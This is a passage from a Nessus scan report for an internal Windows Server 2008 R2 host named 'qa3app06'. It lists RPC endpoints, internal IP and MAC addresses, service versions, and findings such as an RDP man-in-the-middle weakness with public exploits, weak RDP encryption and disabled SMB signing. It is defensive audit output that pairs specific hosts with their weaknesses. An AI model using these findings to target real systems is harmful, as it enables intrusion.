4037 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
4038 Description : Scheduler Service
4039 Windows process : svchost.exe
4040 Type : Local RPC service
4041 Named pipe : OLE0D7EC00E68984D2CAE3E8AB8D62C
4042
4043 Object UUID : 00000000-0000-0000-0000-000000000000
4044 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
4045 Description : Scheduler Service
4046 Windows process : svchost.exe
4047 Type : Local RPC service
4048 Named pipe : senssvc
4049
4050 Object UUID : 00000000-0000-0000-0000-000000000000
4051 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
4052 Description : Scheduler Service
4053 Windows process : svchost.exe
4054 Type : Local RPC service
4055 Named pipe : IUserProfile2
4056
4057 Object UUID : 00000000-0000-0000-0000-000000000000
4058 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
4059 Description : Scheduler Service
4060 Windows process : svchost.exe
4061 Type : Local RPC service
4062 Named pipe : OLE0D7EC00E68984D2CAE3E8AB8D62C
4063
4064 Object UUID : 00000000-0000-0000-0000-000000000000
4065 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
4066 Description : Scheduler Service
4067 Windows process : svchost.exe
4068 Type : Local RPC service
4069 Named pipe : senssvc
4070
4071 Object UUID : 00000000-0000-0000-0000-000000000000
4072 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
4073 Description : Scheduler Service
4074 Windows process : svchost.exe
4075 Type : Local RPC service
4076 Named pipe : IUserProfile2
4077
4078 Object UUID : 00000000-0000-0000-0000-000000000000
4079 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
4080 Description : Scheduler Service
4081 Windows process : svchost.exe
4082 Type : Local RPC service
4083 Named pipe : OLE0D7EC00E68984D2CAE3E8AB8D62C
4084
4085 Object UUID : 00000000-0000-0000-0000-000000000000
4086 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
4087 Description : Scheduler Service
4088 Windows process : svchost.exe
4089 Type : Local RPC service
4090 Named pipe : senssvc
4091
4092 Object UUID : 00000000-0000-0000-0000-000000000000
4093 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
4094 Description : Unknown RPC service
4095 Type : Local RPC service
4096 Named pipe : IUserProfile2
4097
4098 Object UUID : 00000000-0000-0000-0000-000000000000
4099 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
4100 Description : Unknown RPC service
4101 Type : Local RPC service
4102 Named pipe : OLE0D7EC00E68984D2CAE3E8AB8D62C
4103
4104 Object UUID : 00000000-0000-0000-0000-000000000000
4105 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
4106 Description : Unknown RPC service
4107 Type : Local RPC service
4108 Named pipe : senssvc
4109
4110 Object UUID : 00000000-0000-0000-0000-000000000000
4111 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
4112 Description : Unknown RPC service
4113 Annotation : IKE/Authip API
4114 Type : Local RPC service
4115 Named pipe : IUserProfile2
4116
4117 Object UUID : 00000000-0000-0000-0000-000000000000
4118 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
4119 Description : Unknown RPC service
4120 Annotation : IKE/Authip API
4121 Type : Local RPC service
4122 Named pipe : OLE0D7EC00E68984D2CAE3E8AB8D62C
4123
4124 Object UUID : 00000000-0000-0000-0000-000000000000
4125 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
4126 Description : Unknown RPC service
4127 Annotation : IKE/Authip API
4128 Type : Local RPC service
4129 Named pipe : senssvc
4130
4131 Object UUID : 00000000-0000-0000-0000-000000000000
4132 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
4133 Description : Unknown RPC service
4134 Annotation : IP Transition Configuration endpoint
4135 Type : Local RPC service
4136 Named pipe : IUserProfile2
4137
4138 Object UUID : 00000000-0000-0000-0000-000000000000
4139 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
4140 Description : Unknown RPC service
4141 Annotation : IP Transition Configuration endpoint
4142 Type : Local RPC service
4143 Named pipe : OLE0D7EC00E68984D2CAE3E8AB8D62C
4144
4145 Object UUID : 00000000-0000-0000-0000-000000000000
4146 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
4147 Description : Unknown RPC service
4148 Annotation : IP Transition Configuration endpoint
4149 Type : Local RPC service
4150 Named pipe : senssvc
4151
4152 Object UUID : 00000000-0000-0000-0000-000000000000
4153 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
4154 Description : Unknown RPC service
4155 Annotation : XactSrv service
4156 Type : Local RPC service
4157 Named pipe : IUserProfile2
4158
4159 Object UUID : 00000000-0000-0000-0000-000000000000
4160 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
4161 Description : Unknown RPC service
4162 Annotation : XactSrv service
4163 Type : Local RPC service
4164 Named pipe : OLE0D7EC00E68984D2CAE3E8AB8D62C
4165
4166 Object UUID : 00000000-0000-0000-0000-000000000000
4167 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
4168 Description : Unknown RPC service
4169 Annotation : XactSrv service
4170 Type : Local RPC service
4171 Named pipe : senssvc
4172
4173 Object UUID : 73736573-6f69-656e-6e76-000000000000
4174 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
4175 Description : Unknown RPC service
4176 Annotation : Impl friendly name
4177 Type : Local RPC service
4178 Named pipe : IUserProfile2
4179
4180 Object UUID : 73736573-6f69-656e-6e76-000000000000
4181 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
4182 Description : Unknown RPC service
4183 Annotation : Impl friendly name
4184 Type : Local RPC service
4185 Named pipe : OLE0D7EC00E68984D2CAE3E8AB8D62C
4186
4187 Object UUID : 73736573-6f69-656e-6e76-000000000000
4188 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
4189 Description : Unknown RPC service
4190 Annotation : Impl friendly name
4191 Type : Local RPC service
4192 Named pipe : senssvc
4193
4194 Object UUID : 00000000-0000-0000-0000-000000000000
4195 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
4196 Description : Unknown RPC service
4197 Type : Local RPC service
4198 Named pipe : IUserProfile2
4199
4200 Object UUID : 00000000-0000-0000-0000-000000000000
4201 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
4202 Description : Unknown RPC service
4203 Type : Local RPC service
4204 Named pipe : OLE0D7EC00E68984D2CAE3E8AB8D62C
4205
4206 Object UUID : 00000000-0000-0000-0000-000000000000
4207 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
4208 Description : Unknown RPC service
4209 Type : Local RPC service
4210 Named pipe : senssvc
4211
4212 Object UUID : 00000000-0000-0000-0000-000000000000
4213 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
4214 Description : Unknown RPC service
4215 Annotation : Event log TCPIP
4216 Type : Local RPC service
4217 Named pipe : eventlog
4218
4219 Object UUID : 00000000-0000-0000-0000-000000000000
4220 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
4221 Description : Unknown RPC service
4222 Annotation : NRP server endpoint
4223 Type : Local RPC service
4224 Named pipe : eventlog
4225
4226 Object UUID : 00000000-0000-0000-0000-000000000000
4227 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
4228 Description : Unknown RPC service
4229 Annotation : DHCPv6 Client LRPC Endpoint
4230 Type : Local RPC service
4231 Named pipe : eventlog
4232
4233 Object UUID : 00000000-0000-0000-0000-000000000000
4234 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
4235 Description : Unknown RPC service
4236 Annotation : DHCPv6 Client LRPC Endpoint
4237 Type : Local RPC service
4238 Named pipe : dhcpcsvc6
4239
4240 Object UUID : 00000000-0000-0000-0000-000000000000
4241 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
4242 Description : DHCP Client Service
4243 Windows process : svchost.exe
4244 Annotation : DHCP Client LRPC Endpoint
4245 Type : Local RPC service
4246 Named pipe : eventlog
4247
4248 </plugin_output>
4249 </ReportItem>
4250 <ReportItem port="139" svc_name="smb" protocol="tcp" severity="0" pluginID="11011" pluginName="Microsoft Windows SMB Service Detection" pluginFamily="Windows">
4251 <description>The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.</description>
4252 <fname>cifs445.nasl</fname>
4253 <plugin_modification_date>2012/01/31</plugin_modification_date>
4254 <plugin_name>Microsoft Windows SMB Service Detection</plugin_name>
4255 <plugin_publication_date>2002/06/05</plugin_publication_date>
4256 <plugin_type>remote</plugin_type>
4257 <risk_factor>None</risk_factor>
4258 <script_version>$Revision: 1.37 $</script_version>
4259 <solution>n/a</solution>
4260 <synopsis>A file / print sharing service is listening on the remote host.</synopsis>
4261 <plugin_output>
4262 An SMB server is running on this port.
4263 </plugin_output>
4264 </ReportItem>
4265 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="11011" pluginName="Microsoft Windows SMB Service Detection" pluginFamily="Windows">
4266 <description>The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.</description>
4267 <fname>cifs445.nasl</fname>
4268 <plugin_modification_date>2012/01/31</plugin_modification_date>
4269 <plugin_name>Microsoft Windows SMB Service Detection</plugin_name>
4270 <plugin_publication_date>2002/06/05</plugin_publication_date>
4271 <plugin_type>remote</plugin_type>
4272 <risk_factor>None</risk_factor>
4273 <script_version>$Revision: 1.37 $</script_version>
4274 <solution>n/a</solution>
4275 <synopsis>A file / print sharing service is listening on the remote host.</synopsis>
4276 <plugin_output>
4277 A CIFS server is running on this port.
4278 </plugin_output>
4279 </ReportItem>
4280 </ReportHost>
4281 <ReportHost name="qa3app06"><HostProperties>
4282 <tag name="HOST_END">Mon Jul 1 11:47:23 2013</tag>
4283 <tag name="patch-summary-total-cves">1</tag>
4284 <tag name="system-type">general-purpose</tag>
4285 <tag name="operating-system">Microsoft Windows Server 2008 R2 Standard Service Pack 1</tag>
4286 <tag name="mac-address">00:50:56:81:01:df</tag>
4287 <tag name="traceroute-hop-1">10.31.112.26</tag>
4288 <tag name="traceroute-hop-0">172.16.138.2</tag>
4289 <tag name="host-ip">10.31.112.26</tag>
4290 <tag name="host-fqdn">qa3app06</tag>
4291 <tag name="netbios-name">QA3APP06</tag>
4292 <tag name="HOST_START">Mon Jul 1 11:33:11 2013</tag>
4293 </HostProperties>
4294 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="19506" pluginName="Nessus Scan Information" pluginFamily="Settings">
4295 <description>This script displays, for each tested host, information about the scan itself :
4296
4297 - The version of the plugin set
4298 - The type of plugin feed (HomeFeed or ProfessionalFeed)
4299 - The version of the Nessus Engine
4300 - The port scanner(s) used
4301 - The port range scanned
4302 - Whether credentialed or third-party patch management checks are possible
4303 - The date of the scan
4304 - The duration of the scan
4305 - The number of hosts scanned in parallel
4306 - The number of checks done in parallel</description>
4307 <fname>scan_info.nasl</fname>
4308 <plugin_modification_date>2013/05/31</plugin_modification_date>
4309 <plugin_name>Nessus Scan Information</plugin_name>
4310 <plugin_publication_date>2005/08/26</plugin_publication_date>
4311 <plugin_type>summary</plugin_type>
4312 <risk_factor>None</risk_factor>
4313 <script_version>$Revision: 1.59 $</script_version>
4314 <solution>n/a</solution>
4315 <synopsis>Information about the Nessus scan.</synopsis>
4316 <plugin_output>Information about this scan :
4317
4318 Nessus version : 5.2.1
4319 Plugin feed version : 201306260615
4320 Type of plugin feed : HomeFeed (Non-commercial use only)
4321 Scanner IP : 172.16.138.174
4322 Port scanner(s) : nessus_syn_scanner
4323 Port range : default
4324 Thorough tests : no
4325 Experimental tests : no
4326 Paranoia level : 1
4327 Report Verbosity : 1
4328 Safe checks : yes
4329 Optimize the test : yes
4330 Credentialed checks : no
4331 Patch management checks : None
4332 CGI scanning : disabled
4333 Web application tests : disabled
4334 Max hosts : 80
4335 Max checks : 5
4336 Recv timeout : 5
4337 Backports : None
4338 Allow post-scan editing: Yes
4339 Scan Start Date : 2013/7/1 11:33
4340 Scan duration : 848 sec
4341 </plugin_output>
4342 </ReportItem>
4343 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="10919" pluginName="Open Port Re-check" pluginFamily="General">
4344 <description>One of several ports that were previously open are now closed or unresponsive.
4345
4346 There are several possible reasons for this :
4347
4348 - The scan may have caused a service to freeze or stop running.
4349
4350 - An administrator may have stopped a particular service during the scanning process.
4351
4352 This might be an availability problem related to the following :
4353
4354 - A network outage has been experienced during the scan, and the remote network cannot be reached anymore by the scanner.
4355
4356 - This scanner may has been blacklisted by the system administrator or by an automatic intrusion detection / prevention system that detected the scan.
4357
4358 - The remote host is now down, either because a user turned it off during the scan or because a select denial of service was effective.
4359
4360 In any case, the audit of the remote host might be incomplete and may need to be done again</description>
4361 <fname>check_ports.nasl</fname>
4362 <plugin_modification_date>2013/05/14</plugin_modification_date>
4363 <plugin_name>Open Port Re-check</plugin_name>
4364 <plugin_publication_date>2002/03/19</plugin_publication_date>
4365 <plugin_type>remote</plugin_type>
4366 <risk_factor>None</risk_factor>
4367 <script_version>$Revision: 1.41 $</script_version>
4368 <solution>- Increase checks_read_timeout and/or reduce max_checks
4369
4370 - Disable any IPS during the Nessus scan</solution>
4371 <synopsis>Previously open ports are now closed.</synopsis>
4372 <plugin_output>Port 135 was detected as being open but is now unresponsive
4373 Port 3389 was detected as being open but is now unresponsive
4374 Port 80 was detected as being open but is now unresponsive
4375 </plugin_output>
4376 </ReportItem>
4377 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="54615" pluginName="Device Type" pluginFamily="General">
4378 <description>Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).</description>
4379 <fname>device_type.nasl</fname>
4380 <plugin_modification_date>2011/05/23</plugin_modification_date>
4381 <plugin_name>Device Type</plugin_name>
4382 <plugin_publication_date>2011/05/23</plugin_publication_date>
4383 <plugin_type>combined</plugin_type>
4384 <risk_factor>None</risk_factor>
4385 <script_version>$Revision: 1.1 $</script_version>
4386 <solution>n/a</solution>
4387 <synopsis>It is possible to guess the remote device type.</synopsis>
4388 <plugin_output>Remote device type : general-purpose
4389 Confidence level : 99
4390 </plugin_output>
4391 </ReportItem>
4392 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="45590" pluginName="Common Platform Enumeration (CPE)" pluginFamily="General">
4393 <description>By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.
4394
4395 Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.</description>
4396 <fname>cpe.nbin</fname>
4397 <plugin_modification_date>2013/05/13</plugin_modification_date>
4398 <plugin_name>Common Platform Enumeration (CPE)</plugin_name>
4399 <plugin_publication_date>2010/04/21</plugin_publication_date>
4400 <plugin_type>local</plugin_type>
4401 <risk_factor>None</risk_factor>
4402 <script_version>$Revision: 1.19 $</script_version>
4403 <see_also>http://cpe.mitre.org/</see_also>
4404 <solution>n/a</solution>
4405 <synopsis>It is possible to enumerate CPE names that matched on the remote system.</synopsis>
4406 <plugin_output>
4407 The remote operating system matched the following CPE :
4408
4409 cpe:/o:microsoft:windows_server_2008:r2:sp1 -&gt; Microsoft Windows Server 2008 R2 Service Pack 1
4410
4411 Following application CPE matched on the remote system :
4412
4413 cpe:/a:microsoft:iis:7.5 -&gt; Microsoft Internet Information Services (IIS) 7.5
4414 </plugin_output>
4415 </ReportItem>
4416 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="11936" pluginName="OS Identification" pluginFamily="General">
4417 <description>Using a combination of remote probes (TCP/IP, SMB, HTTP, NTP, SNMP, etc...), it is possible to guess the name of the remote operating system in use. It is also sometimes possible to guess the version of the operating system.</description>
4418 <fname>os_fingerprint.nasl</fname>
4419 <plugin_modification_date>2013/04/01</plugin_modification_date>
4420 <plugin_name>OS Identification</plugin_name>
4421 <plugin_publication_date>2003/12/09</plugin_publication_date>
4422 <plugin_type>combined</plugin_type>
4423 <risk_factor>None</risk_factor>
4424 <script_version>$Revision: 2.34 $</script_version>
4425 <solution>n/a</solution>
4426 <synopsis>It is possible to guess the remote operating system.</synopsis>
4427 <plugin_output>
4428 Remote operating system : Microsoft Windows Server 2008 R2 Standard Service Pack 1
4429 Confidence Level : 99
4430 Method : MSRPC
4431
4432
4433 The remote host is running Microsoft Windows Server 2008 R2 Standard Service Pack 1</plugin_output>
4434 </ReportItem>
4435 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="24260" pluginName="HyperText Transfer Protocol (HTTP) Information" pluginFamily="Web Servers">
4436 <description>This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc...
4437
4438 This test is informational only and does not denote any security problem.</description>
4439 <fname>http_info.nasl</fname>
4440 <plugin_modification_date>2011/05/31</plugin_modification_date>
4441 <plugin_name>HyperText Transfer Protocol (HTTP) Information</plugin_name>
4442 <plugin_publication_date>2007/01/30</plugin_publication_date>
4443 <plugin_type>remote</plugin_type>
4444 <risk_factor>None</risk_factor>
4445 <script_version>$Revision: 1.12 $</script_version>
4446 <solution>n/a</solution>
4447 <synopsis>Some information about the remote HTTP configuration can be extracted.</synopsis>
4448 <plugin_output>
4449 Protocol version : HTTP/1.1
4450 SSL : no
4451 Keep-Alive : no
4452 Options allowed : OPTIONS, TRACE, GET, HEAD, POST
4453 Headers :
4454
4455 Content-Type: text/html
4456 Last-Modified: Tue, 01 May 2012 20:47:11 GMT
4457 Accept-Ranges: bytes
4458 ETag: &quot;ca7a095db27cd1:0&quot;
4459 Server: Microsoft-IIS/7.5
4460 X-Powered-By: ASP.NET
4461 Date: Mon, 01 Jul 2013 18:38:44 GMT
4462 Content-Length: 689
4463
4464 </plugin_output>
4465 </ReportItem>
4466 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="10107" pluginName="HTTP Server Type and Version" pluginFamily="Web Servers">
4467 <description>This plugin attempts to determine the type and the version of the remote web server.</description>
4468 <fname>http_version.nasl</fname>
4469 <plugin_modification_date>2013/06/03</plugin_modification_date>
4470 <plugin_name>HTTP Server Type and Version</plugin_name>
4471 <plugin_publication_date>2000/01/04</plugin_publication_date>
4472 <plugin_type>remote</plugin_type>
4473 <risk_factor>None</risk_factor>
4474 <script_version>$Revision: 1.111 $</script_version>
4475 <solution>n/a</solution>
4476 <synopsis>A web server is running on the remote host.</synopsis>
4477 <plugin_output>The remote web server type is :
4478
4479 Microsoft-IIS/7.5</plugin_output>
4480 </ReportItem>
4481 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="43111" pluginName="HTTP Methods Allowed (per directory)" pluginFamily="Web Servers">
4482 <description>By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.
4483
4484 As this list may be incomplete, the plugin also tests - if &apos;Thorough tests&apos; are enabled or &apos;Enable web applications tests&apos; is set to &apos;yes&apos; in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.
4485
4486 Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.</description>
4487 <fname>web_directory_options.nasl</fname>
4488 <plugin_modification_date>2013/05/09</plugin_modification_date>
4489 <plugin_name>HTTP Methods Allowed (per directory)</plugin_name>
4490 <plugin_publication_date>2009/12/10</plugin_publication_date>
4491 <plugin_type>remote</plugin_type>
4492 <risk_factor>None</risk_factor>
4493 <script_version>$Revision: 1.7 $</script_version>
4494 <solution>n/a</solution>
4495 <synopsis>This plugin determines which HTTP methods are allowed on various CGI directories.</synopsis>
4496 <plugin_output>Based on the response to an OPTIONS request :
4497
4498 - HTTP methods GET HEAD POST TRACE OPTIONS are allowed on :
4499
4500 /
4501
4502 </plugin_output>
4503 </ReportItem>
4504 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="35716" pluginName="Ethernet Card Manufacturer Detection" pluginFamily="Misc.">
4505 <description>Each ethernet MAC address starts with a 24-bit &apos;Organizationally Unique Identifier&apos;.
4506 These OUI are registered by IEEE.</description>
4507 <fname>ethernet_manufacturer.nasl</fname>
4508 <plugin_modification_date>2011/03/27</plugin_modification_date>
4509 <plugin_name>Ethernet Card Manufacturer Detection</plugin_name>
4510 <plugin_publication_date>2009/02/19</plugin_publication_date>
4511 <plugin_type>combined</plugin_type>
4512 <risk_factor>None</risk_factor>
4513 <script_version>$Revision: 1.9 $</script_version>
4514 <see_also>http://standards.ieee.org/faqs/OUI.html
4515 http://standards.ieee.org/regauth/oui/index.shtml</see_also>
4516 <solution>n/a</solution>
4517 <synopsis>The manufacturer can be deduced from the Ethernet OUI.</synopsis>
4518 <plugin_output>
4519 The following card manufacturers were identified :
4520
4521 00:50:56:81:01:df : VMware, Inc.
4522 </plugin_output>
4523 </ReportItem>
4524 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="20094" pluginName="VMware Virtual Machine Detection" pluginFamily="General">
4525 <description>According to the MAC address of its network adapter, the remote host is a VMware virtual machine.
4526
4527 Since it is physically accessible through the network, ensure that its configuration matches your organization&apos;s security policy.</description>
4528 <fname>vmware_detect.nasl</fname>
4529 <plugin_modification_date>2011/03/27</plugin_modification_date>
4530 <plugin_name>VMware Virtual Machine Detection</plugin_name>
4531 <plugin_publication_date>2005/10/27</plugin_publication_date>
4532 <plugin_type>combined</plugin_type>
4533 <risk_factor>None</risk_factor>
4534 <script_version>$Revision: 1.24 $</script_version>
4535 <solution>n/a</solution>
4536 <synopsis>The remote host seems to be a VMware virtual machine.</synopsis>
4537 </ReportItem>
4538 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="18405" pluginName="Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness" pluginFamily="Windows">
4539 <bid>13818</bid>
4540 <cve>CVE-2005-1794</cve>
4541 <cvss_base_score>5.1</cvss_base_score>
4542 <cvss_temporal_score>4.6</cvss_temporal_score>
4543 <cvss_temporal_vector>CVSS2#E:F/RL:W/RC:ND</cvss_temporal_vector>
4544 <cvss_vector>CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P</cvss_vector>
4545 <description>The remote version of the Remote Desktop Protocol Server (Terminal Service) is vulnerable to a man-in-the-middle (MiTM) attack. The RDP client makes no effort to validate the identity of the server when setting up encryption. An attacker with the ability to intercept traffic from the RDP server can establish encryption with the client and server without being detected. A MiTM attack of this nature would allow the attacker to obtain any sensitive information transmitted, including authentication credentials.
4546
4547 This flaw exists because the RDP server stores a hardcoded RSA private key in the mstlsapi.dll library. Any local user with access to this file (on any Windows system) can retrieve the key and use it for this attack.</description>
4548 <exploit_available>true</exploit_available>
4549 <exploitability_ease>Exploits are available</exploitability_ease>
4550 <fname>tssvc_mim.nasl</fname>
4551 <osvdb>17131</osvdb>
4552 <plugin_modification_date>2012/03/30</plugin_modification_date>
4553 <plugin_name>Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness</plugin_name>
4554 <plugin_publication_date>2005/06/01</plugin_publication_date>
4555 <plugin_type>remote</plugin_type>
4556 <risk_factor>Medium</risk_factor>
4557 <script_version>$Revision: 1.23 $</script_version>
4558 <see_also>http://www.oxid.it/downloads/rdp-gbu.pdf
4559 http://www.nessus.org/u?e2628096
4560 http://technet.microsoft.com/en-us/library/cc782610.aspx</see_also>
4561 <solution>- Force the use of SSL as a transport layer for this service if supported, or/and
4562 - Select the &apos;Allow connections only from computers running Remote Desktop with Network Level Authentication&apos; setting if it is available.</solution>
4563 <synopsis>It may be possible to get access to the remote host.</synopsis>
4564 <vuln_publication_date>2005/05/28</vuln_publication_date>
4565 <xref>OSVDB:17131</xref>
4566 </ReportItem>
4567 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="11422" pluginName="Web Server Unconfigured - Default Install Page Present" pluginFamily="Web Servers">
4568 <description>The remote web server uses its default welcome page. It probably means that this server is not used at all or is serving content that is meant to be hidden.</description>
4569 <fname>www_default_page.nasl</fname>
4570 <osvdb>2117</osvdb>
4571 <plugin_modification_date>2011/08/12</plugin_modification_date>
4572 <plugin_name>Web Server Unconfigured - Default Install Page Present</plugin_name>
4573 <plugin_publication_date>2003/03/20</plugin_publication_date>
4574 <plugin_type>remote</plugin_type>
4575 <risk_factor>None</risk_factor>
4576 <script_version>$Revision: 1.37 $</script_version>
4577 <solution>Disable this service if you do not use it.</solution>
4578 <synopsis>The remote web server is not configured or is not properly configured.</synopsis>
4579 <vuln_publication_date>1994/01/01</vuln_publication_date>
4580 <xref>OSVDB:2117</xref>
4581 <plugin_output>
4582 The default welcome page is from IIS.
4583 </plugin_output>
4584 </ReportItem>
4585 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="66173" pluginName="RDP Screenshot" pluginFamily="General">
4586 <cpe>cpe:/o:microsoft:windows</cpe>
4587 <description>This script attempts to connect to the remote host via RDP (Remote Desktop Protocol) and attempts to take a screenshot of the login screen.
4588
4589 While this is not a vulnerability by itself, some versions of Windows display the names of the users who can connect and which ones are connected already.</description>
4590 <fname>rdp_logon_screen.nbin</fname>
4591 <plugin_modification_date>2013/05/08</plugin_modification_date>
4592 <plugin_name>RDP Screenshot</plugin_name>
4593 <plugin_publication_date>2013/04/22</plugin_publication_date>
4594 <plugin_type>remote</plugin_type>
4595 <risk_factor>None</risk_factor>
4596 <script_version>$Revision: 1.4 $</script_version>
4597 <solution>n/a</solution>
4598 <synopsis>It is possible to take a screenshot of the remote login screen.</synopsis>
4599 <plugin_output>It was possible to gather the following screenshot of the remote login screen.</plugin_output>
4600 <attachment name="ts_screenshot.jpg" type="image/bmp">293713fa5c0d44310392df3bf9c784a3</attachment>
4601 </ReportItem>
4602 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="57690" pluginName="Terminal Services Encryption Level is Medium or Low" pluginFamily="Misc.">
4603 <cvss_base_score>4.3</cvss_base_score>
4604 <cvss_vector>CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N</cvss_vector>
4605 <description>The remote Terminal Services service is not configured to use strong cryptography.
4606
4607 Using weak cryptography with this service may allow an attacker to eavesdrop on the communications more easily and obtain screenshots and/or keystrokes.</description>
4608 <fname>rdp_weak_crypto.nbin</fname>
4609 <plugin_modification_date>2013/04/22</plugin_modification_date>
4610 <plugin_name>Terminal Services Encryption Level is Medium or Low</plugin_name>
4611 <plugin_publication_date>2012/01/25</plugin_publication_date>
4612 <plugin_type>remote</plugin_type>
4613 <risk_factor>Medium</risk_factor>
4614 <script_version>$Revision: 1.6 $</script_version>
4615 <solution>Change RDP encryption level to one of :
4616
4617 3. High
4618
4619 4. FIPS Compliant</solution>
4620 <synopsis>The remote host is using weak cryptography.</synopsis>
4621 <plugin_output>
4622 The terminal services encryption level is set to :
4623
4624 2. Medium</plugin_output>
4625 </ReportItem>
4626 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="1" pluginID="30218" pluginName="Terminal Services Encryption Level is not FIPS-140 Compliant" pluginFamily="Misc.">
4627 <cvss_base_score>2.6</cvss_base_score>
4628 <cvss_vector>CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N</cvss_vector>
4629 <description>The encryption setting used by the remote Terminal Services service is not FIPS-140 compliant.</description>
4630 <fname>fips_rdp.nbin</fname>
4631 <plugin_modification_date>2013/04/22</plugin_modification_date>
4632 <plugin_name>Terminal Services Encryption Level is not FIPS-140 Compliant</plugin_name>
4633 <plugin_publication_date>2008/02/11</plugin_publication_date>
4634 <plugin_type>remote</plugin_type>
4635 <risk_factor>Low</risk_factor>
4636 <script_version>$Revision: 1.9 $</script_version>
4637 <solution>Change RDP encryption level to :
4638
4639 4. FIPS Compliant</solution>
4640 <synopsis>The remote host is not FIPS-140 compliant.</synopsis>
4641 <plugin_output>
4642 The terminal services encryption level is set to :
4643
4644 2. Medium (Client Compatible)</plugin_output>
4645 </ReportItem>
4646 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="10940" pluginName="Windows Terminal Services Enabled" pluginFamily="Windows">
4647 <description>Terminal Services allows a Windows user to remotely obtain a graphical login (and therefore act as a local user on the remote host).
4648
4649 If an attacker gains a valid login and password, he may be able to use this service to gain further access on the remote host. An attacker may also use this service to mount a dictionary attack against the remote host to try to log in remotely.
4650
4651 Note that RDP (the Remote Desktop Protocol) is vulnerable to Man-in-the-middle attacks, making it easy for attackers to steal the credentials of legitimate users by impersonating the Windows server.</description>
4652 <fname>windows_terminal_services.nasl</fname>
4653 <plugin_modification_date>2012/03/30</plugin_modification_date>
4654 <plugin_name>Windows Terminal Services Enabled</plugin_name>
4655 <plugin_publication_date>2002/04/20</plugin_publication_date>
4656 <plugin_type>remote</plugin_type>
4657 <risk_factor>None</risk_factor>
4658 <script_version>$Revision: 1.29 $</script_version>
4659 <solution>Disable Terminal Services if you do not use it, and do not allow this service to run across the Internet.</solution>
4660 <synopsis>The remote Windows host has Terminal Services enabled.</synopsis>
4661 </ReportItem>
4662 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="2" pluginID="57608" pluginName="SMB Signing Disabled" pluginFamily="Misc.">
4663 <cpe>cpe:/o:microsoft:windows</cpe>
4664 <cvss_base_score>5.0</cvss_base_score>
